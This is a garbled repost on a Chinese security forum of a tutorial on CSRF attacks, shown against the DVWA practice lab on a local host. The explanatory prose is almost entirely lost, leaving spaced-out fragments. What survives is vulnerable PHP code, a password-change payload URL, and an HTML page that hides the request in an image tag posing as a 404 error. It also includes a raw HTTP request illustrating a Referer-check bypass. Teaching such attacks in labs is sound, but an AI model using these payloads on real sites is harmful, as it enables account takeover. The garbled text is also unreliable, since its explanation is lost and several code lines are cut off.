[19564] 2019-12-19_10分钟浅谈CSRF突破原理,Web安全的第一防线!

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2019-12-19_10分钟浅谈CSRF突破原理,Web安全的第一防线! 1 0 C S R F W e b 线 i   2 0 1 9 - 1 2 - 1 9 C S R F   c r o s s   s i t e   r e q u e s t   f o r g e r y ) X S S X S S C S R F C S R F C R S F   i   C S R F W e b 1 5 ~ C S R F
C S R F U R L U R L x x s e r 1 0 0 0 U R L U R L C S R F C S R F S E O G E T $   _ S E S S I O N i s a d m i n   =   a d m i n i s a d m i n   =   g u e s t i s a d m i n a d m i n i s a d m i n =   a d m i n P O S T s e c b u g . o r g / p a y . j s p ? u s e r = x x s e r & m o n e y = 1 0 0 0 s e c b u g . o r g / p a y . j s p ? u s e r = h a c k & m o n e y = 1 0 0 0 0
p h p U R L p h p U R L s u b m i t = 1 & u s e r n a m e = 1 & p a s s w o r d = 1 p a y l o a d < ? p h p         s e s s i o n _ s t a r t ( ) ;         i f   ( i s s e t ( $ _ G E T [ ' l o g i n ' ] ) )   {                 $ c o n = m y s q l i _ c o n n e c t ( " 1 2 7 . 0 . 0 . 1 " , " r o o t " , " 1 2 3 4 5 6 " , " t e s t " ) ;                 i f   ( m y s q l _ c o n n e c t _ e r r n o ( ) )   {                         e c h o   " " . m y s q l _ c o n n e c t _ e r r n o ( ) ;                 }                 $ u s e r n a m e   =   a d d s l a s h e s ( $ _ G E T [ ' u s e r n a m e ' ] ) ;                 $ p a s s w o r d   =   $ _ G E T [ ' p a s s w o r d ' ] ;                 $ r e s u l t   =   m y s q l i _ q u e r y ( $ c o n   ,   " s e l e c t   *   f r o m   u s e r s   w h e r e   u s e r n a m e = ' " . $ u s e r n a m e . " '   a n d   p a s s w o r d = ' " . m d 5 (                 $ r o w   =   m y s q l i _ f e t c h _ a r r a y ( $ r e s u l t ) ;                 i f ( $ r o w ) {                         $ _ S E S S I O N [ ' i s a d m i n ' ]   =   ' a d m i n ' ;                         e x i t ( " " ) ;                 }   e l s e {                         $ _ S E S S I O N [ ' i s a d m i n ' ]   =   ' g u e s t ' ;                         e x i t ( " " ) ;                 }         }   e l s e {                 $ _ S E S S I O N [ ' i s a d m i n ' ]   =   ' g u e s t ' ;         }         i f ( $ _ S E S S I O N [ ' i s a d m i n ' ]   ! =   ' a d m i n ' ) {                 e x i t ( " " ) ;         }         i f ( i s s e t ( $ _ P O S T [ ' s u b m i t ' ] ) ) {                 i f   ( i s s e t ( $ _ P O S T [ ' u s e r n a m e ' ] ) )   {                         $ r e s u l t 1   =   m y s q l i _ q u e r y ( $ c o n , " i n s e r t   i n t o   u s e r s ( u s e r n a m e   ,   p a s s w o r d )   v a l u e   ( ' " . $ _ P O S T [ ' u s e r n a m e '                         e x i t ( $ _ P O S T [ ' u s e r n a m e ' ] . " " ) ;                 }         } ? >
< ! D O C T Y P E   h t m l > < h t m l > < h e a d >         < m e t a   c h a r s e t = " u t f - 8 " >         < t i t l e > C S R F < / t i t l e > < / h e a d > < b o d y >         < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " >
D V W A C S R F D V W A l o w < / s c r i p t > < / b o d y > < / h t m l >
C S R F G E T C h a n g e < h 3 > C h a n g e   y o u r   a d m i n   p a s s w o r d : < / h 3 > < b r > < f o r m   a c t i o n = " # "   m e t h o d = " G E T " > N e w   p a s s w o r d : < b r > < i n p u t   a u t o c o m p l e t e = " o f f "   n a m e = " p a s s w o r d _ n e w "   t y p e = " p a s s w o r d " > < b r > C o n f i r m   n e w   p a s s w o r d : < b r > < i n p u t   a u t o c o m p l e t e = " o f f "   n a m e = " p a s s w o r d _ c o n f "   t y p e = " p a s s w o r d " > < b r > < b r > < i n p u t   v a l u e = " C h a n g e "   n a m e = " C h a n g e "   t y p e = " s u b m i t " > < / f o r m >
P a y l o a d P a y l o a d U R L C S R F D V W A 使   1 2 3 4 5 6 < ? p h p i f (   i s s e t (   $ _ G E T [   ' C h a n g e '   ]   )   )   {     / /   G e t   i n p u t     $ p a s s _ n e w     =   $ _ G E T [   ' p a s s w o r d _ n e w '   ] ;     $ p a s s _ c o n f   =   $ _ G E T [   ' p a s s w o r d _ c o n f '   ] ;     / /   D o   t h e   p a s s w o r d s   m a t c h ?     i f (   $ p a s s _ n e w   = =   $ p a s s _ c o n f   )   {             / /   T h e y   d o !             $ p a s s _ n e w   =   ( ( i s s e t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   & &   i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ r e a l _ e s c a p e _ s t r i n g (             $ p a s s _ n e w   =   m d 5 (   $ p a s s _ n e w   ) ;             / /   U p d a t e   t h e   d a t a b a s e             $ i n s e r t   =   " U P D A T E   ` u s e r s `   S E T   p a s s w o r d   =   ' $ p a s s _ n e w '   W H E R E   u s e r   =   ' "   .   d v w a C u r r e n t U s e r ( )   .   " ' ; " ;             $ r e s u l t   =   m y s q l i _ q u e r y ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ i n s e r t   )   o r   d i e (   ' < p r e > '   .   ( ( i s _ o b j e c t ( $ G L O B A L S             / /   F e e d b a c k   f o r   t h e   u s e r             e c h o   " < p r e > P a s s w o r d   C h a n g e d . < / p r e > " ;     }     e l s e   {             / /   I s s u e   w i t h   p a s s w o r d s   m a t c h i n g             e c h o   " < p r e > P a s s w o r d s   d i d   n o t   m a t c h . < / p r e > " ;     }     ( ( i s _ n u l l ( $ _ _ _ m y s q l i _ r e s   =   m y s q l i _ c l o s e ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) ) )   ?   f a l s e   :   $ _ _ _ m y s q l i _ r e s ) ; } ? > h t t p : / / 1 2 7 . 0 . 0 . 1 / D V W A - m a s t e r / v u l n e r a b i l i t i e s / c s r f / ? p a s s w o r d _ n e w = 1 2 3 4 5 6 & p a s s w o r d _ c o n f = 1 2 3 4 5 6 & C h a n g e = C h a n g e #
C o o k i e P a y l o a d 使 x x s e r . c o m P a y l o a d - U R L c o p y 4 0 4 访 s r c s r c P a y l o a d - U R L h t m l P a y l o a d m i d d l e h t t p _ r e f e r e r < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < m e t a   c h a r s e t = " u t f - 8 " > < t i t l e > P a y l o a d < / t i t l e > < / h e a d > < b o d y > < i m g   s r c = " h t t p : / / 1 2 7 . 0 . 0 . 1 / D V W A - m a s t e r / v u l n e r a b i l i t i e s / c s r f / ? p a s s w o r d _ n e w = 1 2 3 4 5 6 & p a s s w o r d _ c o n f = 1 2 3 4 5 6 & C h a n g e = C h a n g e # " < h 1 > 4 0 4 < / h 1 > < h 2 > f i l e   n o t   f o u n d . < / h 2 > < / b o d y > < / h t m l >
H T T P _ R E F E R E R h t t p r e f e r e r U R L H T T P H T T P D V W A U R L < ? p h p i f (   i s s e t (   $ _ G E T [   ' C h a n g e '   ]   )   )   {     / /   H T T P _ R E F E R E R   :     / /   S E R V E R _ N A M E     :     i f (   s t r i p o s (   $ _ S E R V E R [   ' H T T P _ R E F E R E R '   ]   , $ _ S E R V E R [   ' S E R V E R _ N A M E '   ] )   ! = =   f a l s e   )   {             / /   s t r i p o s ( )   :             $ p a s s _ n e w     =   $ _ G E T [   ' p a s s w o r d _ n e w '   ] ;             $ p a s s _ c o n f   =   $ _ G E T [   ' p a s s w o r d _ c o n f '   ] ;             / /   D o   t h e   p a s s w o r d s   m a t c h ?             i f (   $ p a s s _ n e w   = =   $ p a s s _ c o n f   )   {                     / /   T h e y   d o !                     $ p a s s _ n e w   =   ( ( i s s e t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   & &   i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ r e a l _ e s c a p e _ s t r i n g (                     $ p a s s _ n e w   =   m d 5 (   $ p a s s _ n e w   ) ;                     / /   U p d a t e   t h e   d a t a b a s e                     $ i n s e r t   =   " U P D A T E   ` u s e r s `   S E T   p a s s w o r d   =   ' $ p a s s _ n e w '   W H E R E   u s e r   =   ' "   .   d v w a C u r r e n t U s e r ( )   .   " ' ; " ;                     $ r e s u l t   =   m y s q l i _ q u e r y ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ i n s e r t   )   o r   d i e (   ' < p r e > '   .   ( ( i s _ o b j e c t ( $ G L O B A L S                     / /   F e e d b a c k   f o r   t h e   u s e r                     e c h o   " < p r e > P a s s w o r d   C h a n g e d . < / p r e > " ;             }             e l s e   {                     / /   I s s u e   w i t h   p a s s w o r d s   m a t c h i n g                     e c h o   " < p r e > P a s s w o r d s   d i d   n o t   m a t c h . < / p r e > " ;             }     }     e l s e   {             / /   D i d n ' t   c o m e   f r o m   a   t r u s t e d   s o u r c e             e c h o   " < p r e > T h a t   r e q u e s t   d i d n ' t   l o o k   c o r r e c t . < / p r e > " ;     }     ( ( i s _ n u l l ( $ _ _ _ m y s q l i _ r e s   =   m y s q l i _ c l o s e ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) ) )   ?   f a l s e   :   $ _ _ _ m y s q l i _ r e s ) ; } ? >
h t t p 2 8 s t r i p o s s t r i p o s s t r i p s s t r i p o s D V W A s t r i p o s s t r i p o s P a y l o a d G E T   / D V W A - m a s t e r / v u l n e r a b i l i t i e s / c s r f / ? p a s s w o r d _ n e w = 1 2 3 4 & p a s s w o r d _ c o n f = 1 2 3 4 & C h a n g e = C h a n g e   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 ;   r v : 4 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 4 8 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e D N T :   1 R e f e r e r :   h t t p : / / 1 2 7 . 0 . 0 . 1 / D V W A - m a s t e r / v u l n e r a b i l i t i e s / c s r f / C o o k i e :   s e c u r i t y = m e d i u m ;   P H P S E S S I D = n f a f k l o f 4 u n q i n b 2 b 0 j v v p l 9 4 3 X - F o r w a r d e d - F o r :   8 . 8 . 8 . 8 C o n n e c t i o n :   k e e p - a l i v e U p g r a d e - I n s e c u r e - R e q u e s t s :   1
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则